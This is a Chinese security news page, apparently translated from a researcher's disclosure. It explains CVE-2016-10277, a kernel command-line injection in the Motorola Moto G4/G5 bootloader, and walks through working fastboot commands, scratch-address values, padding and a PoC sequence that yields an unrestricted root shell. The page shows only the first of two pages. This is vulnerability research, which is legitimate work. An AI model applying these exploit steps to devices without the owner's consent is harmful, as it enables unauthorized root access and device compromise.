欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

摩托罗拉G4 & G5手机被曝存在高危内核命令行注入漏洞

来源:本站整理 作者:佚名 时间:2017-06-13 TAG: 我要投稿

在之前一篇关于Nexus6 root漏洞的文章中,我们曾提到过漏洞CVE-2016-10277很有可能会影响摩托罗拉设备。当我们在Twitter上受到了一些相关报告之后,事实证明了我们之前的猜想。
为了证明摩托罗拉设备中存在这样的一种高危漏洞,我们弄了两台摩托罗拉手机,然后将它们的系统升级至了最新版本:
1.   MotoG4 athene XT1622,系统版本:NPJS25.93-14.4,Bootloader:moto-msm8952-B1.05;
2.   MotoG5 cedric XT1676,系统版本:NPP25.137-33,bootloader:moto-msm8937-B8.09;
回顾之前的那篇文章
1.   存在漏洞的摩托罗拉Android Bootloader(ABOOT)将允许攻击者实现内核命令行注入。
2.   我们可以注入一个名叫“initrd”的参数,它将允许我们迫使Linux内核把initramfs填充至rootfs中,而且还可以指定物理地址。
3.   我们可以利用ABOOT的下载功能来将我们的恶意initramfs存放到已知的物理地址SCRATCH_ADDR(Nexus 6中为0×11000000)。
4.   攻击者可以利用这个漏洞来拿到毫不受限的root shell。
验证Moto G4 & G5上的漏洞CVE-2016-10277
实验表明,这两种型号的设备的确会受到该漏洞的影响,而且漏洞的利用也非常简单。我们只需要运行命令fastboot oem config fsg-id “a androidboot.foo=bar”,就可以直接创建出ro.boot.foo属性(property):
$fastboot oem config fsg-id "a androidboot.foo=bar"
...
(bootloader)
(bootloader)  
(bootloader)     a androidboot.foo=bar
(bootloader)  
(bootloader)  
(bootloader)     FSG IDs, see http://goo.gl/gPmhU
(bootloader)  
(bootloader)
OKAY[  0.013s]
 
$fastboot continue
$ adbshell
cedric:/$ getprop ro.boot.foo
bar
cedric:/$
这也就意味着我们已经将这个参数注入到cedric的内核命令行之中了。接下来,我们证明了我们能够控制initrd参数,而它将允许我们迫使Linux内核从一个指定的物理地址加载initramfs。我们可以通过运行命令fastboot oem config fsg-id “a initrd=0×12345678,1234″来让内核发生崩溃。
正如之前所提到的,在我们利用该漏洞来对G4 & G5设备进行测试之前,我们还需要满足两个特殊的要求:
1.   找到bootloader所使用的SCRATCH_ADDR值。
2.   创建恶意initramfs文档。
查找SCRATCH_ADDR值
在IDA中加载athene的ABOOT以及cedric的ABOOT之后,我们迅速得到了SCRATCH_ADDR的值:
//athene
signedint target_get_scratch_address()
{
  return 0x90000000;
}
 
//cedric
signedint target_get_scratch_address()
{
  return 0xA0100000;
}
验证SCRATCH_ADDR的值
在我们讲解恶意initramfs的构造方法之前,我们需要验证SCRATCH_ADDR值的正确性,否则我们得到的分析结果很可能会有问题。
为了验证这个地址的正确性,我们从摩托罗拉的官方固件镜像中提取出了原始的initramfs文档,然后利用这个漏洞从地址SCRATCH_ADDR加载官方的initramfs。
...
(bootloader)"fsg-id" type="str"protected="false">
(bootloader)  
(bootloader)     a initrd=0x90000000,1766036
(bootloader)   /value>
(bootloader)  
(bootloader)     FSG IDs, see http://goo.gl/gPmhU
(bootloader)   /description>
(bootloader)UTAG>
 
OKAY[  0.015s]
finished.total time: 0.015s
 
$fastboot flash aleph initramfs.cpio.gz
targetreported max download size of 536870912 bytes
sending'aleph' (1725 KB)...
OKAY[  1.088s]
writing'aleph'...
(bootloader)Invalid partition name aleph
FAILED(remote failure)
finished.total time: 1.095s
 
$fastboot continue
此时文件并没有正常加载,而设备则进入了无限重启,这就让我们非常郁闷了。
填充Payload
我们进行了大胆的猜测,最终发现,当我们将initramfs加载进了地址SCRATCH_ADDR之后,并在ABOOT跳转到Linux内核之前,cedric和athene的ABOOT会将其它一些不相关的数据放入SCRATCH_ADDR之中,并导致了我们的initramfs发生崩溃(但并非完全崩溃)。
现在,我们只要在initramfs之前填充一些数据,然后相应地调整initrd(SCRATCH_ADDR + sizeof(PADDING))即可解决崩溃问题。因此,如果我们的假设是正确的,那么我们就能够在Linux内核真正开始运行之前得到如下所示的内存数据(结构):

我们填充了32MB数据(0×2000000)并成功解决了无限重启的问题。
创建Moto G4 & G5的initramfs以及漏洞PoC
对于之前Nexus 6的情况来说,为了创建一个initramfs并通过adb获取到毫不受限的root shell,我们编译了一个AOSP userdebug镜像。我们之所以要这样做,是因为userdebug镜像能够通过su访问SELinux域,而adbd可以给我提供一些系统属性。
更新后的PoC可以在我们的GitHub代码库中找到。【PoC传送门】
了解了上述内容之后并运行我们所提供的PoC,我们就能够成功拿到root shell。
MotoG4:
$fastboot oem config fsg-id "a initrd=0x92000000,1774281"
$fastboot flash aleph initroot-athene.cpio.gz
$fastboot continue
 
$ adbshell
athene:/# id
uid=0(root)gid=0(root)groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc)context=u:r:kernel:s0

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载